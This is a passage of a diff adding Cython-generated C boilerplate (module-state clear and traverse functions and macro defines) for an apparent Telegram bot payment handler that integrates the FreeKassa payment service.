Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_kp_u_); + Py_CLEAR(clear_module_state->__pyx_n_s_DEBUG); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FREEKASSA_API_KEY); + Py_CLEAR(clear_module_state->__pyx_n_s_FREEKASSA_SHOP_ID); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_kp_u_FreeKassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_FreeKassa_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_FreeKassa_3); + Py_CLEAR(clear_module_state->__pyx_kp_u_FreeKassa_4); + Py_CLEAR(clear_module_state->__pyx_kp_u_FreeKassa_5); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_n_u_RUB); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Response); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_kp_u__11); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_kp_u__13); + Py_CLEAR(clear_module_state->__pyx_kp_u__14); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__16); + Py_CLEAR(clear_module_state->__pyx_kp_u__18); + Py_CLEAR(clear_module_state->__pyx_kp_u__20); + Py_CLEAR(clear_module_state->__pyx_n_u__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__23); + Py_CLEAR(clear_module_state->__pyx_n_s__24); + Py_CLEAR(clear_module_state->__pyx_kp_u__25); + Py_CLEAR(clear_module_state->__pyx_n_s__35); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__7); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_n_u_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_api_key); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_basicConfig); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_c); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_u_completed); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_confirm_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_create_payment); + Py_CLEAR(clear_module_state->__pyx_n_u_currency); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_n_s_email); + Py_CLEAR(clear_module_state->__pyx_n_u_email); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_s_encode); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_s_entering_custom_amount_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_u_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_u_freekassa_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_freekassa_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_freekassa_webhook); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_generate_signature); + Py_CLEAR(clear_module_state->__pyx_n_s_generate_signature_locals_genexp); + Py_CLEAR(clear_module_state->__pyx_n_s_genexpr); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_freekassa_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_freekassa_pay_2); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_n_s_hashlib); + Py_CLEAR(clear_module_state->__pyx_n_s_hexdigest); + Py_CLEAR(clear_module_state->__pyx_n_s_hmac); + Py_CLEAR(clear_module_state->__pyx_kp_u_https_api_freekassa_com_v1_order); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_u_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_initializing); + Py_CLEAR(clear_module_state->__pyx_n_s_inline_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_ip); + Py_CLEAR(clear_module_state->__pyx_n_u_ip); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_isdigit); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_json); + Py_CLEAR(clear_module_state->__pyx_n_s_k); + Py_CLEAR(clear_module_state->__pyx_n_s_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_lambda); + Py_CLEAR(clear_module_state->__pyx_n_s_level); + Py_CLEAR(clear_module_state->__pyx_n_u_location); + Py_CLEAR(clear_module_state->__pyx_n_s_logging); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_u_metadata); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_new); + Py_CLEAR(clear_module_state->__pyx_n_s_nonce); + Py_CLEAR(clear_module_state->__pyx_n_u_nonce); + Py_CLEAR(clear_module_state->__pyx_n_s_params); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_u_paymentId); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_id); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_url); + Py_CLEAR(clear_module_state->__pyx_n_s_post); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_freekassa); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_request); + Py_CLEAR(clear_module_state->__pyx_n_s_requests); + Py_CLEAR(clear_module_state->__pyx_n_s_response); + Py_CLEAR(clear_module_state->__pyx_n_s_response_data); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_n_s_sha256); + Py_CLEAR(clear_module_state->__pyx_n_u_shopId); + Py_CLEAR(clear_module_state->__pyx_n_s_sign_string); + Py_CLEAR(clear_module_state->__pyx_n_u_signature); + Py_CLEAR(clear_module_state->__pyx_kp_u_solo_net); + Py_CLEAR(clear_module_state->__pyx_n_s_sorted_params); + Py_CLEAR(clear_module_state->__pyx_n_s_spec); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_u_status); + Py_CLEAR(clear_module_state->__pyx_n_u_success); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_time); + Py_CLEAR(clear_module_state->__pyx_n_u_type); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_user_email); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_n_u_user_id); + Py_CLEAR(clear_module_state->__pyx_n_s_user_ip); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid4); + Py_CLEAR(clear_module_state->__pyx_n_s_values); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_s_web); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_6); + Py_CLEAR(clear_module_state->__pyx_int_200); + Py_CLEAR(clear_module_state->__pyx_int_1000); + Py_CLEAR(clear_module_state->__pyx_tuple__3); + Py_CLEAR(clear_module_state->__pyx_tuple__10); + Py_CLEAR(clear_module_state->__pyx_tuple__22); + Py_CLEAR(clear_module_state->__pyx_tuple__26); + Py_CLEAR(clear_module_state->__pyx_tuple__28); + Py_CLEAR(clear_module_state->__pyx_tuple__29); + Py_CLEAR(clear_module_state->__pyx_tuple__30); + Py_CLEAR(clear_module_state->__pyx_tuple__31); + Py_CLEAR(clear_module_state->__pyx_tuple__32); + Py_CLEAR(clear_module_state->__pyx_tuple__33); + Py_CLEAR(clear_module_state->__pyx_tuple__34); + Py_CLEAR(clear_module_state->__pyx_codeobj__2); + Py_CLEAR(clear_module_state->__pyx_codeobj__5); + Py_CLEAR(clear_module_state->__pyx_codeobj__6); + Py_CLEAR(clear_module_state->__pyx_codeobj__9); + Py_CLEAR(clear_module_state->__pyx_codeobj__17); + Py_CLEAR(clear_module_state->__pyx_codeobj__19); + Py_CLEAR(clear_module_state->__pyx_codeobj__27); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_kp_u_); + Py_VISIT(traverse_module_state->__pyx_n_s_DEBUG); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FREEKASSA_API_KEY); + Py_VISIT(traverse_module_state->__pyx_n_s_FREEKASSA_SHOP_ID); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_kp_u_FreeKassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_FreeKassa_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_FreeKassa_3); + Py_VISIT(traverse_module_state->__pyx_kp_u_FreeKassa_4); + Py_VISIT(traverse_module_state->__pyx_kp_u_FreeKassa_5); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_n_u_RUB); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Response); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_kp_u__11); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_kp_u__13); + Py_VISIT(traverse_module_state->__pyx_kp_u__14); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__16); + Py_VISIT(traverse_module_state->__pyx_kp_u__18); + Py_VISIT(traverse_module_state->__pyx_kp_u__20); + Py_VISIT(traverse_module_state->__pyx_n_u__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__23); + Py_VISIT(traverse_module_state->__pyx_n_s__24); + Py_VISIT(traverse_module_state->__pyx_kp_u__25); + Py_VISIT(traverse_module_state->__pyx_n_s__35); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__7); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_n_u_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_api_key); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_basicConfig); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_c); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_u_completed); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_confirm_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_create_payment); + Py_VISIT(traverse_module_state->__pyx_n_u_currency); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_n_s_email); + Py_VISIT(traverse_module_state->__pyx_n_u_email); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_s_encode); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_s_entering_custom_amount_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_u_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_u_freekassa_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_freekassa_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_freekassa_webhook); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_generate_signature); + Py_VISIT(traverse_module_state->__pyx_n_s_generate_signature_locals_genexp); + Py_VISIT(traverse_module_state->__pyx_n_s_genexpr); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_freekassa_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_freekassa_pay_2); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_n_s_hashlib); + Py_VISIT(traverse_module_state->__pyx_n_s_hexdigest); + Py_VISIT(traverse_module_state->__pyx_n_s_hmac); + Py_VISIT(traverse_module_state->__pyx_kp_u_https_api_freekassa_com_v1_order); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_u_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_initializing); + Py_VISIT(traverse_module_state->__pyx_n_s_inline_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_ip); + Py_VISIT(traverse_module_state->__pyx_n_u_ip); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_isdigit); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_json); + Py_VISIT(traverse_module_state->__pyx_n_s_k); + Py_VISIT(traverse_module_state->__pyx_n_s_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_lambda); + Py_VISIT(traverse_module_state->__pyx_n_s_level); + Py_VISIT(traverse_module_state->__pyx_n_u_location); + Py_VISIT(traverse_module_state->__pyx_n_s_logging); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_u_metadata); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_new); + Py_VISIT(traverse_module_state->__pyx_n_s_nonce); + Py_VISIT(traverse_module_state->__pyx_n_u_nonce); + Py_VISIT(traverse_module_state->__pyx_n_s_params); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_u_paymentId); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_id); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_url); + Py_VISIT(traverse_module_state->__pyx_n_s_post); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_freekassa); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_request); + Py_VISIT(traverse_module_state->__pyx_n_s_requests); + Py_VISIT(traverse_module_state->__pyx_n_s_response); + Py_VISIT(traverse_module_state->__pyx_n_s_response_data); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_n_s_sha256); + Py_VISIT(traverse_module_state->__pyx_n_u_shopId); + Py_VISIT(traverse_module_state->__pyx_n_s_sign_string); + Py_VISIT(traverse_module_state->__pyx_n_u_signature); + Py_VISIT(traverse_module_state->__pyx_kp_u_solo_net); + Py_VISIT(traverse_module_state->__pyx_n_s_sorted_params); + Py_VISIT(traverse_module_state->__pyx_n_s_spec); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_u_status); + Py_VISIT(traverse_module_state->__pyx_n_u_success); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_time); + Py_VISIT(traverse_module_state->__pyx_n_u_type); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_user_email); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_n_u_user_id); + Py_VISIT(traverse_module_state->__pyx_n_s_user_ip); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid4); + Py_VISIT(traverse_module_state->__pyx_n_s_values); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_s_web); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_6); + Py_VISIT(traverse_module_state->__pyx_int_200); + Py_VISIT(traverse_module_state->__pyx_int_1000); + Py_VISIT(traverse_module_state->__pyx_tuple__3); + Py_VISIT(traverse_module_state->__pyx_tuple__10); + Py_VISIT(traverse_module_state->__pyx_tuple__22); + Py_VISIT(traverse_module_state->__pyx_tuple__26); + Py_VISIT(traverse_module_state->__pyx_tuple__28); + Py_VISIT(traverse_module_state->__pyx_tuple__29); + Py_VISIT(traverse_module_state->__pyx_tuple__30); + Py_VISIT(traverse_module_state->__pyx_tuple__31); + Py_VISIT(traverse_module_state->__pyx_tuple__32); + Py_VISIT(traverse_module_state->__pyx_tuple__33); + Py_VISIT(traverse_module_state->__pyx_tuple__34); + Py_VISIT(traverse_module_state->__pyx_codeobj__2); + Py_VISIT(traverse_module_state->__pyx_codeobj__5); + Py_VISIT(traverse_module_state->__pyx_codeobj__6); + Py_VISIT(traverse_module_state->__pyx_codeobj__9); + Py_VISIT(traverse_module_state->__pyx_codeobj__17); + Py_VISIT(traverse_module_state->__pyx_codeobj__19); + Py_VISIT(traverse_module_state->__pyx_codeobj__27); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef 